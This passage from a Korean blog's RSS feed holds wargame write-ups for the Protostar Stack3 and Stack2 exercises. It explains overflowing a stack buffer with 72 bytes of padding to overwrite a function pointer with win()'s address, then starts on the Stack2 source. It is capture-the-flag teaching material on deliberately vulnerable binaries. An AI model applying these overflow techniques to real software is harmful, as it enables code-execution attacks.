14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(fp)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;calling&amp;nbsp;function&amp;nbsp;pointer,&amp;nbsp;jumping&amp;nbsp;to&amp;nbsp;0x%08x\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;fp);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fp();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;void의 return을 갖는 win() 함수를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;win() 함수는 &quot;code flow successfully changed\n&quot;라는 문자열을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;win()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;code&amp;nbsp;flow&amp;nbsp;successfully&amp;nbsp;changed\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실행을 해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fp를 덮었다고 가정했을때와, fp를 덮지 못했을 때이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 722px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998F63345C3429C439&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998F63345C3429C439&quot; width=&quot;722&quot; height=&quot;182&quot; filename=&quot;이미지 022.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 조작해야할 string pointer가 stack 영역 중 어디에 위치해 있는지 알기 위해 gdb를 통한 분석을 진행한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 716px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9966CA4C5C342A9210&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9966CA4C5C342A9210&quot; width=&quot;716&quot; height=&quot;685&quot; filename=&quot;이미지 023.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 통해 우리는 stack의 구조를 살펴 볼 수 있고, &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;win()의 주소가 &quot;0x0000000000401142&quot;&lt;/span&gt;라는것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 통해 stack의 구조(only&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;를 보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 654px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9966324C5C3CA96E37&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9966324C5C3CA96E37&quot; width=&quot;654&quot; height=&quot;1043&quot; filename=&quot;이미지 025.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fp의 조작을 위해 우리는 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;72 byte의 padding을 통해 fp에 접근할 수 있고, fp를 win()의 주소(&quot;0x0000000000401142&quot;)로 overwriting&lt;/span&gt; 하면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 867px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991E603F5C342C2E0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991E603F5C342C2E0F&quot; width=&quot;867&quot; height=&quot;112&quot; filename=&quot;이미지 025.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;성공!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;참고로 쉽게 함수명을 알 때 함수의 주소를 아는 방법이 크게 두가지가 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;objdump -d &amp;lt;filename&amp;gt; | grep \&amp;lt;function name\&amp;gt;: -A &amp;lt;number of line&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 951px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9983CF475C342F0918&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9983CF475C342F0918&quot; width=&quot;951&quot; height=&quot;172&quot; filename=&quot;이미지 026.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;gdb&lt;/span&gt;를 이용한 방법&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;print &amp;lt;function name&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 713px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990E6C445C342F4F16&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990E6C445C342F4F16&quot; width=&quot;713&quot; height=&quot;96&quot; filename=&quot;이미지 027.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/Protostar</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/239</guid>
      <comments>https://marcokhan.tistory.com/239#entry239comment</comments>
      <pubDate>Tue, 8 Jan 2019 14:06:29 +0900</pubDate>
    </item>
    <item>
      <title>[Protostar] Stack2 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/238</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;Protostar --- Stack2&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack2&lt;/span&gt;의 힌트이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack2 looks at environment variables, and how they can be set.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;힌트를 해석해보자면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack2는&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; 환경변수&lt;/span&gt;를 사용한다. 어떻게 환경변수가 사용되는지 확인해봐라.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack2.c의 소스는 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;modified;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 